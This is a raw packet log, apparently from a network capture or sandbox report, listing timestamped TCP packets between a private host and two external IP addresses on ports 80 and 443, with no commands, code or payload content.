Dec 9, 2024 21:09:51.767074108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.767133951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.767230034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.768254995 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.768343925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.768485069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.768537045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.769268990 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.770145893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.770178080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.770292997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.770427942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.770767927 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.770816088 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.771310091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.771641016 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.771739006 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.771780968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.772464991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.772512913 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.772559881 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.772597075 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.774539948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.774584055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.774591923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.774604082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.774627924 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.774652958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.774749994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.774835110 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.775650024 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.775692940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.776024103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.776772022 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.776828051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.776830912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.776868105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.777889967 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.778074026 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.778100967 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.778115034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.778979063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.779150009 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.779171944 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.779238939 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.779964924 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.780127048 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.780174017 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.781124115 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.781389952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.781451941 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.782125950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.782176018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.782475948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.782519102 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.783281088 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.783565044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.783616066 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.784301996 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.784451962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.784523010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.784523010 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.785445929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.785752058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.786036968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.786505938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.786554098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.786952972 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.787116051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.787633896 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.787933111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.787992001 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.788645983 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.788727045 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.923856020 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.923980951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.924007893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.924062014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.924453020 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.924530983 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.924556017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.924606085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.925594091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.925726891 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.925798893 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.925843000 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.926561117 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:51.926609993 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.926628113 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:51.926654100 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.926785946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.926831007 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.927684069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.927926064 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:51.927932978 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:51.927956104 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.928174019 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:51.928400993 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.928538084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.928836107 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.928924084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.928968906 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.929465055 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:51.929569006 CET	49979	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:51.929598093 CET	443	49979	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:51.929913044 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.929965973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.930057049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.930100918 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.930927992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.930988073 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.931097031 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.931226969 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.932032108 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.933028936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.933031082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.933146000 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.933168888 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.933185101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.933232069 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.934221983 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.934343100 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.934354067 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.934490919 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.935300112 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.935348988 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.935378075 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.935441017 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.936414003 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.936598063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.936649084 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.937452078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.937944889 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.938075066 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.938163996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.938858986 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.938914061 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.939090014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.939331055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.939809084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.940223932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.940289974 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.940660954 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.940817118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.941028118 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.941756964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.941811085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.942182064 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.942236900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.942832947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.942886114 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.943047047 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.943401098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.943933964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.943984985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.944010973 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.944048882 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.945019960 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.945137024 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.945183992 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.946160078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.946302891 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.946353912 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.947249889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.947299004 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.947336912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.947374105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.948265076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.948545933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.948606968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.949408054 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.949460983 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.949806929 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.949863911 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.950406075 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.950465918 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.950748920 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.950800896 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.951500893 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.951562881 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.951844931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.951908112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.952590942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.952729940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.952913046 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.952966928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.953711987 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.953766108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.953942060 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.954344034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.954747915 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.954793930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.954886913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.954932928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.955806017 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.955848932 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.955931902 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.956412077 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.956887007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.956931114 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.957082033 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.958071947 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.958142996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.958547115 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.958599091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.959067106 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.959115982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.959551096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.959763050 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.960177898 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.960220098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.960491896 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.960860968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.961251020 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.961726904 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.961787939 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.962431908 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.962481022 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.962637901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.962688923 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.963489056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.963546038 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.963820934 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.963866949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.964488029 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.964548111 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.964657068 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.964862108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.965574980 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.965622902 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.965914011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.966001987 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.966679096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.967170000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.967220068 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.967708111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.967761040 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.967905045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.967953920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.968839884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.968894958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.969063997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.969183922 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.969906092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.969947100 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.970057011 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.970463991 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.970973969 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.971015930 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.971276045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.971335888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.972050905 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.972093105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.972400904 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.972438097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.973170042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.973270893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.973381042 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.973503113 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.974226952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.974275112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.974567890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.974617004 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.975295067 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.975435019 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.975739956 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.976135015 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.976399899 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.976452112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.976823092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.976880074 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.977480888 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.977679014 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.977751970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.978528976 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.978610992 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.978768110 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.979204893 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.979605913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.979662895 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.979935884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.979985952 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:51.980813026 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:51.980884075 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.116060972 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.116179943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.116234064 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.116565943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.116605043 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.116676092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.116713047 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.117651939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.117754936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.117803097 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.117852926 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.118824005 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.118899107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.119172096 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.119220018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.119844913 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.119857073 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.119890928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.120965958 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.121028900 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.121062040 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.121099949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.122030020 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.122092962 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.122236013 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.122287035 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.123094082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.123151064 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.123706102 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.124471903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.124515057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.124645948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.124979019 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.125293016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.125430107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.125969887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.126101017 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.126394987 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.126545906 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.126576900 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.126722097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.127389908 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.127443075 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.127593994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.127687931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.128496885 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.128539085 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.128622055 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.129086018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.129545927 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.129645109 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.129722118 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.129755974 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.130630016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.130727053 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.130729914 CET	80	49969	185.215.113.16	192.168.2.6
